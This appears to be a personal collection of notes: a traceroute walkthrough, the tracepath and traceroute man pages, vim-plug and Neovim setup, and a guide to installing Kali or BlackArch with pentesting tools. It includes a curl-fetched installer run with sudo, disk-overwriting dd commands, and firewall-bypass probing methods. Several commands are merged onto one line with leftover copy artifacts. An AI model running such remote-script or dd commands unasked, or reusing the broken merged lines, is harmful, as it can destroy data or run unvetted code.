Hop 5: kl.seacom-cls-02.s.kenet.or.ke (41.204.184.114) – Another hop through the regional network infrastructure, with a response time of around 18 ms.

Hop 6: 72.14.220.40 – This hop marks your traffic moving into a backbone provider (probably an international transit provider like Google or a partner network). The response time is still fairly low (~17 ms).

Hop 7: 192.178.251.145 and 192.178.251.165 – These are intermediate routers that handle traffic closer to Google’s network.

Hop 8: 209.85.242.181 – This hop is likely part of Google's infrastructure, still in the transit towards its data centers.

Hop 9: mba01s10-in-f14.1e100.net (172.217.170.206) – Finally, this is the Google server you're reaching. The response time is around 17 ms, which shows that the packet has reached its destination.

Summary:

The traceroute shows that your packets travel through multiple hops within your local ISP network, a regional network, and then various Google infrastructure routers before reaching the final destination (Google's servers). The round-trip times (RTTs) are quite low and stable, indicating a healthy network connection.

TRACEPATH(8)                                                  iputils                                                 TRACEPATH(8)

NAME
       tracepath - traces path to a network host discovering MTU along this path

SYNOPSIS

       tracepath [-4] [-6] [-n] [-b] [-l pktlen] [-m max_hops] [-p port] [-V] {destination}

DESCRIPTION
       It traces the network path to destination discovering MTU along this path. It uses UDP port port or some random port. It is
       similar to traceroute. However, it does not require superuser privileges and has no fancy options.

       tracepath -6 is a good replacement for traceroute6 and classic example of application of Linux error queues. The situation
       with IPv4 is worse, because commercial IP routers do not return enough information in ICMP error messages. Probably, it
       will change, when they are updated. For now it uses Van Jacobson's trick, sweeping a range of UDP ports to maintain trace
       history.

OPTIONS
       -4
           Use IPv4 only.

       -6
           Use IPv6 only.

       -n
           Print primarily IP addresses numerically.

       -b
           Print both: Host names and IP addresses.

       -l
           Sets the initial packet length to pktlen instead of 65535 for IPv4 or 128000 for IPv6.

       -m
           Set maximum hops (or maximum TTLs) to max_hops instead of 30.

       -p
           Sets the initial destination port to use.

       -V
           Print version and exit.

OUTPUT
           root@mops:~ # tracepath -6 3ffe:2400:0:109::2
            1?: [LOCALHOST]                              pmtu 1500
            1:  dust.inr.ac.ru                   0.411ms
            2:  dust.inr.ac.ru        asymm  1   0.390ms pmtu 1480
            2:  3ffe:2400:0:109::2               463.514ms reached
                Resume: pmtu 1480 hops 2 back 2

       The first column shows the TTL of the probe, followed by colon. Usually the value of TTL is obtained from the reply from
       the network, but sometimes it does not contain the necessary information and we have to guess it. In this case the number
       is followed by ?.

       The second column shows the network hop which replied to the probe. It is either the address of the router or the word
       [LOCALHOST], if the probe was not sent to the network.

       The rest of the line shows miscellaneous information about the path to the corresponding network hop. It contains the value
       of RTT, and additionally it can show Path MTU when it changes. If the path is asymmetric or the probe finishes before it
       reaches the prescribed hop, the number of hops in return direction is shown next to the keyword "asymm". This information
       is not reliable, e.g. the third line shows asymmetry of 1. This is because the first probe with TTL of 2 was rejected at
       the first hop due to Path MTU Discovery.

       The last line summarizes information about all the paths to the destination. It shows detected Path MTU, amount of hops to
       the destination and our guess about the number of hops from the destination to us, which can be different when the path is
       asymmetric.

HANDLING ERRORS
       In case of errors tracepath prints short error code.
       ┌─────────────┬──────────────┬──────────────────────────────────┐
       │ Output      │ Code         │ Meaning                          │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ !A          │ EACCES       │ Communication administratively   │
       │             │              │ prohibited                       │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ !H          │ EHOSTUNREACH │ Destination host unreachable     │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ !N          │ ENETUNREACH  │ Destination network unreachable  │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ !P          │ EPROTO       │ Destination protocol unreachable │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ pmtu N      │ EMSGSIZE     │ Message too long                 │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ reached     │ ECONNREFUSED │ Connection refused               │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │             │ ETIMEDOUT    │ Connection timed out             │
       ├─────────────┼──────────────┼──────────────────────────────────┤
       │ NET ERROR N │              │ Any other error                  │
       └─────────────┴──────────────┴──────────────────────────────────┘

SEE ALSO
       traceroute(8), traceroute6(8), ping(8).

AUTHOR
       tracepath was written by Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>.

SECURITY
       No security issues.

       This lapidary deserves to be elaborated.  tracepath is not a privileged program, unlike traceroute, ping and other beasts
       of their kind.  tracepath may be executed by everyone who has enough access to the network to send UDP datagrams to the
       desired destination using the given port.

AVAILABILITY
       tracepath is part of iputils package.

iputils 20240905                                                                                                      TRACEPATH(8)
TRACEROUTE(8)                                          Traceroute For Linux                                          TRACEROUTE(8)

NAME
       traceroute - print the route packets trace to network host

SYNOPSIS
       traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,...]
               [-i device] [-m max_ttl] [-p port] [-s src_addr]
               [-q nqueries] [-N squeries] [-t tos]
               [-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]
               [-P proto] [--sport=port] [-M method] [-O mod_options]
               [--mtu] [--back]
               host [packet_len]
       traceroute6  [options]

DESCRIPTION
       traceroute  tracks  the  route packets taken from an IP network on their way to a given host. It utilizes the IP protocol's
       time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway  along  the  path  to  the
       host.

       traceroute6 is equivalent to traceroute -6

       The  only  required parameter is the name or IP address of the destination host .  The optional packet_len‘gth is the total
       size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored  in  some  situa‐
       tions or increased up to a minimal value.

       This  program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a
       small ttl (time to live) then listening for an ICMP "time exceeded" reply from a gateway.  We start our probes with  a  ttl
       of one and increase by one until we get an ICMP "port unreachable" (or TCP reset), which means we got to the "host", or hit
       a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the
       ttl,  address  of the gateway and round trip time of each probe. The address can be followed by additional information when
       requested. If the probe answers come from different gateways, the address of each responding system will  be  printed.   If
       there is no response within a certain timeout, an "*" (asterisk) is printed for that probe.

       After  the  trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S
       (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence  vio‐
       lation),  !C  (precedence  cutoff  in effect), or !<num> (ICMP unreachable code <num>).  If almost all the probes result in
       some kind of unreachable, traceroute will give up and exit.

       We don't want the destination host to process the UDP probe packets, so the destination port is set to  an  unlikely  value
       (you  can  change  it  with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open
       technique, which prevents our probes to be seen by applications on the destination host).

       In the modern network environment the traditional traceroute methods can not be always applicable,  because  of  widespread
       use  of  firewalls.   Such  firewalls filter the "unlikely" UDP ports, or even ICMP echoes.  To solve this, some additional
       tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particu‐
       lar protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of  allowed
       type of a network session).

OPTIONS
       --help Print help info and exit.

       -4, -6 Explicitly  force  IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose
              the appropriate protocol automatically. If resolving a host name returns both IPv4 and  IPv6  addresses,  traceroute
              will use IPv4.

       -I, --icmp
              Use ICMP ECHO for probes

       -T, --tcp
              Use TCP SYN for probes

       -d, --debug
              Enable socket level debugging (when the Linux kernel supports it)

       -F, --dont-fragment
              Do  not  fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment re‐
              motely as well).

              Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information
              about the MTU of individual network hops. The --mtu option (see below) tries to do this automatically.

              Note, that non-fragmented features (like -F or --mtu) work properly since the Linux kernel 2.6.22 only.  Before that
              version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the  route  cache),
              which can be less than the actual mtu of a device.

       -f first_ttl, --first=first_ttl
              Specifies with what TTL to start. Defaults to 1.

       -g gateway, --gateway=gateway
              Tells  traceroute  to  add  an  IP  source routing option to the outgoing packet that tells the network to route the
              packet through the specified gateway (most routers have disabled source routing for security reasons).  In  general,
              several  gateway's  is allowed (comma separated). For IPv6, the form of num,addr,addr...  is allowed, where num is a
              route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

       -i interface, --interface=interface
              Specifies the interface through which traceroute should send packets. By default, the interface is selected  accord‐
              ing to the routing table.

       -m max_ttl, --max-hops=max_ttl
              Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

       -N squeries, --sim-queries=squeries
              Specifies  the  number  of  probe packets sent out simultaneously.  Sending several probes concurrently can speed up
              traceroute considerably. The default value is 16.
              Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large  number  can
              lead to loss of some responses.

       -n     Do not try to map IP addresses to host names when displaying them.

       -p port, --port=port
              For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incre‐
              mented by each probe).
              For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
              For TCP and others specifies just the (constant) destination port to connect.

       -t tos, --tos=tos
              For  IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high through‐
              put). Note that in order to use some TOS precedence values, you have to be super user.
              For IPv6, set the Traffic Control value.

       -l flow_label, --flowlabel=flow_label
              Use specified flow_label for IPv6 packets.

       -w max[,here,near], --wait=max[,here,near]
              Determines how long to wait for a response to a probe.

              There are three (in general) float values separated by a comma (or a slash).  Max specifies  the  maximum  time  (in
              seconds, default 5.0) to wait, in any case.

              Traditional  traceroute  implementation  always  waited whole max seconds for any probe. But if we already have some
              replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a  hint  to
              determine the actual reasonable amount of time to wait.

              The  optional  here (default 3.0) specifies a factor to multiply the round trip time of an already received response
              from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than)  max.   The
              optional  near  (default 10.0) specifies a similar factor for a response from some next hop.  (The time of the first
              found result is used in both cases).

              First, we look for the same hop (of the probe which will be printed first from now).  If nothing  found,  then  look
              for  some  next hop. If nothing found, use max.  If here and/or near have zero values, the corresponding computation
              is skipped.
              Here and near are always set to zero if only max is specified (for compatibility with previous versions).

       -q nqueries, --queries=nqueries
              Sets the number of probe packets per hop. The default is 3.

       -r     Bypass the normal routing tables and send directly to a host on an attached network.  If the host is not  on  a  di‐
              rectly-attached  network,  an  error is returned.  This option can be used to ping a local host through an interface
              that has no route through it.

       -s source_addr, --source=source_addr
              Chooses an alternative source address. Note that you must select the address of one of the interfaces.  By  default,
              the address of the outgoing interface is used.

       -z sendwait, --sendwait=sendwait
              Minimal  time interval between probes (default 0).  If the value is more than 10, then it specifies a number in mil‐
              liseconds, else it is a number of seconds (float point values allowed too).  Useful when some routers use rate-limit
              for ICMP messages.

       -e, --extensions
              Show ICMP extensions (rfc4884). The general form is CLASS/TYPE: followed by a hexadecimal dump.  The MPLS  (rfc4950)
              is  shown  parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Inter‐
              face  Information  (rfc5837)   is   shown   parsed   as   well,   in   a   following   form:   {INC|SUB|OUT|NXT}:in‐
              dex,IP_addr,"name",mtu=MTU (all four fields may be missing).

       -A, --as-path-lookups
              Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

       -V, --version
              Print the version and exit.

       There are additional options intended for advanced usage (such as alternate trace methods etc.):

       --sport=port
              Chooses the source port to use. Implies -N 1 -w 5 .  Normally source ports (if applicable) are chosen by the system.

       --fwmark=mark
              Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

       -M method, --module=name
              Use  specified  method for traceroute operations. Default traditional udp method has name default, icmp (-I) and tcp
              (-T) have names icmp and tcp respectively.
              Method-specific options can be passed by -O .  Most methods have their simple shortcuts, (-I means -M icmp, etc).

       -O option, --options=options
              Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline).   Each
              method  may  have  its own specific options, or many not have them at all.  To print information about available op‐
              tions, use -O help.

       -U, --udp
              Use UDP to particular destination port for tracerouting (instead of increasing the port  per  each  probe).  Default
              port is 53 (dns).

       -UL    Use UDPLITE for tracerouting (default port is 53).

       -D, --dccp
              Use DCCP Requests for probes.

       -P protocol, --protocol=protocol
              Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

       --mtu  Discover  MTU along the path being traced. Implies -F -N 1.  New mtu is printed once in a form of F=NUM at the first
              probe of a hop which requires such mtu to be reached. (Actually, the correspond "frag needed" icmp message  normally
              is sent by the previous hop).

              Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu
              from a closer hop.  Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there
              as well).
              See -F option for more info.

       --back Print  the number of backward hops when it seems different with the forward direction. This number is guessed in as‐
              sumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a  common
              practice). It is printed as a negate value in a form of '-NUM' .

LIST OF AVAILABLE METHODS
       In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmd‐
       line switches (you can see them after the method name, if present).

   default
       The traditional, ancient method of tracerouting. Used by default.

       Probe  packets  are  udp  datagrams with so-called "unlikely" destination ports.  The "unlikely" port of the first probe is
       33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the  destination  host
       normally  returns  "icmp  unreach  port" as a final response.  (Nobody knows what happens when some application listens for
       such ports, though).

       This method is allowed for unprivileged users.

   icmp       -I
       Most usual method for now, which uses icmp echo packets for probes.
       If you can ping(8) the destination host, icmp tracerouting is applicable as well.

       This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6  since  3.11),  which  supports  new
       dgram  icmp  (or  "ping") sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to
       match any group of the user.
       Options:

       raw    Use only raw sockets (the traditional way).
              This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

       dgram  Use only dgram icmp sockets.

   tcp        -T
       Well-known modern method, intended to bypass firewalls.
       Uses the constant destination port (default is 80, http).

       If some filters are present in the network path, then most probably any "unlikely" udp ports (as  for  default  method)  or
       even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall.  To bypass a network
       filter,  we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T
       -p 25 can reach it, even when -I can not.

       This method uses well-known "half-open technique", which prevents applications on the  destination  host  from  seeing  our
       probes  at all.  Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active lis‐
       tening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session
       is dropped even without the application ever taking notice.

       There is a couple of options for tcp method:

       syn,ack,fin,rst,psh,urg,ece,cwr
              Sets specified tcp flags for probe packet, in any combination.

       flags=num
              Sets the flags field in the tcp header exactly to num.

       ecn    Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

       sack,timestamps,window_scaling
              Use the corresponding tcp header option in the outgoing probe packet.

       sysctl Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn.  Always set  by  default,  if
              nothing else specified.

       fastopen
              Use fastopen tcp option (when syn), for initial cookie negotiation only.

       mss=[num]
              Use  value  of  num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path
              being traced.  New changed mss is printed once in a form of M=NUM at the first  probe  on  which  it  was  detected.
              Note, some routers may return too short original fragment in the time exceeded message, making the check impossible.
              Besides  that  the responses may come in a different order.  All this can lead to a later place of the report (using
              -N 1 can help for the order).

       info   Print tcp flags and supported options of final tcp replies when the target host is  reached.   Allows  to  determine
              whether  an  application listens the port and other useful things.  Supported tcp options are all that can be set by
              -T -O, ie.  mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss  and
              just presence for others).

       Default options is syn,sysctl.

   tcpconn
       An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended
       for normal use, because a destination application is always affected (and can be confused).

   udp        -U
       Use udp datagram with constant destination port (default 53, dns).
       Intended to bypass firewall as well.

       Note,  that unlike in tcp method, the correspond application on the destination host always receive our probes (with random
       data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never  see
       the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

       This method is allowed for unprivileged users.

   udplite    -UL
       Use udplite datagram for probes (with constant destination port, default 53).

       This method is allowed for unprivileged users.
       Options:

       coverage=num
              Set udplite send coverage to num.

   dccp    -D
       Use DCCP Request packets for probes (rfc4340).

       This method uses the same "half-open technique" as used for TCP.  The default destination port is 33434.

       Options:

       service=num
              Set DCCP service code to num (default is 1885957735).

   raw        -P proto
       Send raw packet of protocol proto.
       No protocol-specific headers are used, just IP header only.
       Implies -N 1 -w 5 .
       Options:

       protocol=proto
              Use IP protocol proto (default 253).

NOTES
       To  speed  up  work, normally several probes are sent simultaneously.  On the other hand, it creates a "storm of packages",
       especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies  can  be  lost.  To
       avoid  this,  decrease  the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation),
       i.e.  -N 1

       The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It  can  lead
       to  extra "looks like expired" hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it
       cannot help in your case, just use -N 1 too.

       For even greater stability you can slow down the program's work by -z option, for example use -z 0.5 for half-second  pause
       between probes.

       To  avoid  an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature
       expiry (especially when response times differ at times) and printing "*" instead of a time. In such a case, switch this al‐
       gorithm off, by specifying -w with the desired timeout only (for example, -w 5).

       If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and  for
       nearest 8 hops only).

SEE ALSO
       ping(8), ping6(8), tcpdump(8), netstat(8)

Traceroute                                                11 October 2006                                            TRACEROUTE(8)

Below are the steps to install vim-plug and get your plugins working:

1. Install vim-plug

For Vim (not GVim), run the following command in your terminal:

	curl -fLo ~/.vim/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim

For GVim, the same command applies because both use the same .vim configuration.

This command downloads the plug.vim script and places it in the proper autoload directory so that Vim can load it automatically.

Here's what each part does:

  • curl - This is a command-line tool used for transferring data using various protocols (HTTP, HTTPS, FTP, etc.).

  • -f - Stands for "fail silently" on server errors (HTTP codes 400 and above). It makes sure that if the download fails, curl will exit with an error instead of outputting an error page.

  • -L - Tells curl to follow HTTP redirects. Sometimes, the URL you provide might redirect to another location, and this option ensures that curl follows those redirects automatically.

  • -o ~/.vim/autoload/plug.vim - The -o option specifies the output file. In this case, it saves the downloaded content to the file plug.vim inside the ~/.vim/autoload/ directory. This is the location where Vim looks for autoloaded scripts, and placing plug.vim here allows Vim to load the vim-plug plugin manager automatically.

  • --create-dirs - This option instructs curl to create the directory structure (~/.vim/autoload/) if it doesn't already exist.

URL: https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim

This is the direct URL to the plug.vim script hosted on GitHub. The script is the core of the vim-plug plugin manager, and downloading it to the autoload directory makes it available for Vim to use.

What Does This Command Do?

Download the vim-plug Script: The command fetches the latest version of the vim-plug script from its official repository on GitHub.

Ensure Proper Installation Location:

By saving it to ~/.vim/autoload/plug.vim, Vim can automatically load vim-plug when it starts, allowing you to use its functions (like plug#begin() and plug#end() in your .vimrc).

Creates Necessary Directories:

If the ~/.vim/autoload/ directory doesn't exist, the --create-dirs option ensures it's created so that the file can be saved there.

Overall, this command is a one-line installer for vim-plug, making it easy to set up this plugin manager without manually downloading and placing the file in the right location.

2. Verify Your .vimrc Configuration

Make sure your .vimrc (or the plugin section in your .vimrc) looks similar to the following:

" Initialize vim-plug
call plug#begin('~/.vim/plugged')

" List the plugins you want to install
Plug 'preservim/nerdtree'
Plug 'tpope/vim-fugitive'

" End plugin section
call plug#end()

Notes:

Ensure that you use call plug#begin() and call plug#end() (with the call keyword) because they are Vimscript function calls. The plugin names should be enclosed in single quotes as shown.

3. Restart Vim and Install Plugins

Restart Vim or GVim. Run the command :PlugInstall inside Vim. This command tells vim-plug to download and install all the plugins you listed in your .vimrc. You should see a window where vim-plug downloads and installs the plugins. Once it finishes, your plugins will be available.

4. Troubleshooting

Incorrect Plugin Manager: If you intended to use a different plugin manager (such as Vundle or Pathogen), note that their configuration commands differ from vim-plug’s. For example, Vundle uses Plugin commands and has its own initialization functions. In your error output, you see both plug#begin and Plugin ..., so make sure you’re using one consistent plugin manager.

Check Vim Version and Runtime Path: Ensure that your Vim is not an older version that might have issues with the autoload directory or plugins. You can check your version by running vim --version

General Productivity Plugins

  • vim-plug Plugin Manager – (You already have this.) It makes installing and managing plugins simple.

  • NERDTree File System Explorer – Quickly browse and open files and directories.

  • vim-airline Status Line Enhancement – Provides a sleek status/tab line with useful information. You can also add themes via vim-airline-themes.

  • vim-commentary or nerdcommenter Commenting Helper – Easily comment and uncomment code blocks.

  • vim-surround Editing Text Objects – Quickly change surrounding characters (like quotes, parentheses, etc.).

  • ctrlp.vim Fuzzy File Finder – Quickly open files by fuzzy-searching your project files.

2. Language-Specific Plugins

Python

  • jedi-vim Code Completion and Navigation – Uses the Jedi library for powerful Python autocompletion and code navigation.

  • black Code Formatter – Although Black is a standalone tool, there are Vim integrations available that automatically format your Python code. (You might run Black from the command line or integrate it with ALE or another linter/formatter plugin.)

  • ALE (Asynchronous Lint Engine) Linting and Fixing – Provides real-time linting and can integrate with various linters (like flake8, pylint) and formatters for Python.

  • vim-python-pep8-indent Improved Indentation – Helps maintain proper indentation according to PEP8.

  • C/C++ coc.nvim Intellisense/Autocompletion – A modern autocompletion engine that supports many languages including C/C++ through extensions. Alternatively, you could use YouCompleteMe for C/C++ autocompletion, but note it requires a compilation step during installation.

  • ALE Linting and Fixing – Supports many C/C++ linters and fixers (like clang-tidy, clang-format).

  • Tagbar Code Structure Viewer – Displays tags of the current file (functions, variables, etc.) using ctags. Make sure you have Exuberant Ctags or Universal Ctags installed.

  • vim-clang-format Code Formatter – Integrates clang-format to format your C/C++ code.

  • Bash/Shell Scripting bash-support.vim Bash Script Helper – Provides snippets and functions to ease writing and navigating Bash scripts.

  • vim-polyglot Language Pack – A collection of language packs that improves syntax highlighting and file detection for many languages including Bash, Markdown, Python, and more.

  • Markdown vim-markdown Markdown Syntax & Folding – Enhances Markdown editing with improved syntax highlighting, folding, and some additional features for writing Markdown.

  • markdown-preview.nvim Live Preview – Provides a live preview of your Markdown files in a web browser (requires Node.js).

  • vim-pandoc and vim-pandoc-syntax Pandoc Integration – If you work with Pandoc, these plugins provide enhanced syntax and command support for Pandoc-flavored Markdown.

Example vim-plug Configuration

You can add the following to your ~/.vimrc (or ~/.gvimrc if you want GUI-specific settings) to load a selection of these plugins. Adjust the list based on what you plan to use:

" Begin plugin section
call plug#begin('~/.vim/plugged')

" General Plugins
Plug 'junegunn/vim-plug'           " vim-plug itself, though not strictly necessary here
Plug 'preservim/nerdtree'
Plug 'vim-airline/vim-airline'
Plug 'vim-airline/vim-airline-themes'
Plug 'tpope/vim-commentary'
Plug 'tpope/vim-surround'
Plug 'ctrlpvim/ctrlp.vim'
Plug 'sheerun/vim-polyglot'

" Python Plugins
Plug 'davidhalter/jedi-vim'
Plug 'psf/black'
Plug 'Vimjas/vim-python-pep8-indent'

" C/C++ Plugins
Plug 'neoclide/coc.nvim', {'branch': 'release'}    " or use YouCompleteMe if preferred
Plug 'dense-analysis/ale'
Plug 'majutsushi/tagbar'
Plug 'rhysd/vim-clang-format'

" Bash/Shell Scripting
Plug 'vim-scripts/bash-support.vim'

" Markdown Plugins
Plug 'plasticboy/vim-markdown'
Plug 'iamcco/markdown-preview.nvim', { 'do': 'cd app && yarn install' }  " Requires Node.js, if you want live preview
Plug 'vim-pandoc/vim-pandoc'
Plug 'vim-pandoc/vim-pandoc-syntax'

" End plugin section
call plug#end()

Note:

Some plugins (like coc.nvim or markdown-preview.nvim) may have additional installation instructions or dependencies (e.g., Node.js for markdown-preview.nvim, a build step for YouCompleteMe, etc.). Check the individual plugin documentation on GitHub for details. You don’t have to use every plugin listed here. Start with the ones you need most and add more as you refine your workflow.

  1. Additional Considerations Linting & Formatting: ALE is a great general-purpose linting/fixing plugin, but you may also explore Syntastic if you prefer its style.

Code Navigation: Tagbar (with ctags installed) can be a lifesaver when working on large codebases.

Autocompletion: Modern setups often lean towards coc.nvim for its extensive language server support. It can handle many languages using language servers (like Pyright for Python, clangd for C/C++, etc.).

Customization: Customize each plugin’s settings in your ~/.vimrc or ~/.gvimrc as needed (refer to each plugin’s documentation for available options).

By installing and configuring a few of these plugins, you can create a powerful, multi-language development environment in Vim/GVim tailored to your workflow. Feel free to ask more questions as you refine your setup!

nvim_setup

cd .config/
mkdir nvim
cd nvim
git clone --depth 1 https://github.com/wbthomason/packer.nvim ~/.local/share/nvim/site/pack/packer/start/packer.nvim\n

nvim ~/.config/nvim/lua/plugins.lua
dante@Archie ~/.config/nvim/lua $ cd theprimeagen
dante@Archie ~/.config/nvim/lua/theprimeagen $ ls
init.lua  packer.lua  remap.lua
dante@Archie ~/.config/nvim/lua/theprimeagen $ cat init.lua
require("theprimeagen.remap")
print("hello from the primeagen")
dante@Archie ~/.config/nvim/lua/theprimeagen $ cat remap.lua
vim.g.mapleader = " "
vim.keymap.set("n", "<leader>pv", vim.cmd.Ex)
vim.keymap.set("n", '<C-s>' ,vim.cmd.w)
vim.keymap.set("n", '<C-w>', vim.cmd.wq)
vim.keymap.set("n", '<C-q>' ,vim.cmd.qa)

dante@Archie ~/.config/nvim/lua/theprimeagen $ cat packer.lua
-- This file can be loaded by calling `lua require('plugins')` from your init.vim

-- Only required if you have packer configured as `opt`
vim.cmd [[packadd packer.nvim]]

return require('packer').startup(function(use)
  -- Packer can manage itself
  use 'wbthomason/packer.nvim'

  use {
  'nvim-telescope/telescope.nvim', tag = '0.1.8',
-- or                            , branch = '0.1.x',
  requires = { {'nvim-lua/plenary.nvim'} }
}
 use ({
         'rose-pine/neovim',
         as = 'rose-pine',
         config = function()
                 vim.cmd('colorscheme rose-pine')
        end
 })
use ('nvim-treesitter/nvim-treesitter', {run = ':TSUpdate'})
use ('nvim-treesitter/playground')
use ('mbbill/undotree')
use ('tpope/vim-fugitive')
use {
        'VonHeikemen/lsp-zero.nvim',
        requires = {
                {'neovim/nvim-lspconfig'},
                {'williamboman/mason.nvim'},
                --Autocompletion
                {'hrsh7th/nvim-cmp'},
                {'hrsh7th/cmp-buffer'},
                {'hrsh7th/cmp-path'},
                {'hrsh7th/cmp-nvim-lsp'},
                {'hrsh7th/cmp-nvim-lua'},
                {'saadparwaiz1/cmp_luasnip'},
                --Snippets
                {'rafamadriz/friendly-snippets'},
        }
}

end)

1️⃣ Installing Kali Linux

Step 1: Download Kali ISO or Prebuilt VM Image

  • Download the Kali ISO: https://www.kali.org/get-kali/#kali-bare-metal
  • Prebuilt VM Image (for VirtualBox/VMware): https://www.kali.org/get-kali/#kali-virtual-machines

Step 2: Install Kali on VirtualBox or VMware

  • Create a new VM with at least:
    • 4 GB RAM (8 GB+ preferred)
    • 2 CPU cores (4+ recommended)
    • 30 GB+ Disk Space
  • Attach the Kali ISO and boot into the installer.

Option 2: Install Kali Linux as a Bare Metal OS

  1. Download Kali ISO from kali.org.

  2. Create a bootable USB using:

    sh

    CopyEdit

    sudo dd if=kali-linux.iso of=/dev/sdX bs=4M status=progress

    Replace /dev/sdX with your USB device (use lsblk to check).

  3. Boot from USB and follow the GUI installer.


Option 3: Run Kali as a Docker Container (Quick & Lightweight)

If you want a quick Kali setup without installing it natively:

sh docker pull kalilinux/kali-rolling docker run -it --rm kalilinux/kali-rolling /bin/bash

To install tools inside the container:

sh

apt update && apt install -y kali-linux-default


2️⃣ Installing Arch Linux for Pentesting

Option 1: Install Arch Linux (Manual Process)

Step 1: Download Arch ISO

Download from: https://archlinux.org/download/

Step 2: Create a Bootable USB

sh

CopyEdit

sudo dd if=archlinux.iso of=/dev/sdX bs=4M status=progress

Step 3: Boot into Arch ISO and Install

  1. Set up networking:

    sh

    ip link

    If using WiFi:

    sh

    iwctl station wlan0 connect <SSID>

  2. Partition Disk (use fdisk or cfdisk).

  3. Mount filesystems and install base system:

    sh

    mount /dev/sdX1 /mnt pacstrap /mnt base linux linux-firmware

  4. Configure system (hostname, bootloader, users).


Option 2: Use BlackArch (Arch-Based Pentesting OS)

Instead of setting up tools manually, you can use BlackArch (Arch Linux preloaded with pentesting tools).

Install BlackArch on top of an existing Arch system:

sh

curl -O https://blackarch.org/strap.sh chmod +x strap.sh sudo ./strap.sh

Then install all tools:

sh

sudo pacman -S blackarch


3️⃣ Installing Penetration Testing Tools

On Kali Linux

Kali has tool meta-packages for easy installation:

sh

CopyEdit

sudo apt update && sudo apt upgrade -y sudo apt install -y kali-linux-default kali-linux-top10 kali-linux-full

On Arch Linux / BlackArch

sh

sudo pacman -S blackarch

Or install specific tool categories:

sh

CopyEdit

sudo pacman -S blackarch-exploitation blackarch-forensics

Metasploit

sh

CopyEdit

sudo apt install -y metasploit-framework # Kali sudo pacman -S metasploit # Arch

Nmap (Network Scanning)

sh

CopyEdit

sudo apt install -y nmap sudo pacman -S nmap

Burp Suite (Web Hacking)

sh

CopyEdit

sudo apt install -y burpsuite sudo pacman -S burpsuite

Wireshark (Packet Sniffing)

sh

CopyEdit

sudo apt install -y wireshark sudo pacman -S wireshark-qt

Aircrack-ng (WiFi Hacking)

sh

CopyEdit

sudo apt install -y aircrack-ng sudo pacman -S aircrack-ng


ComponentRecommended Setup
OSKali Linux or BlackArch
VirtualizationVirtualBox or VMware for isolation
NetworkingVPNs, Proxies, and Custom Routing
ToolsMetasploit, Nmap, Burp Suite, Wireshark
HardwareUSB WiFi Adapter (for wireless hacking)
ContainersRun vulnerable web apps in Docker

5️⃣ Next Steps

✅ Customize your environment – Install only the tools you need.
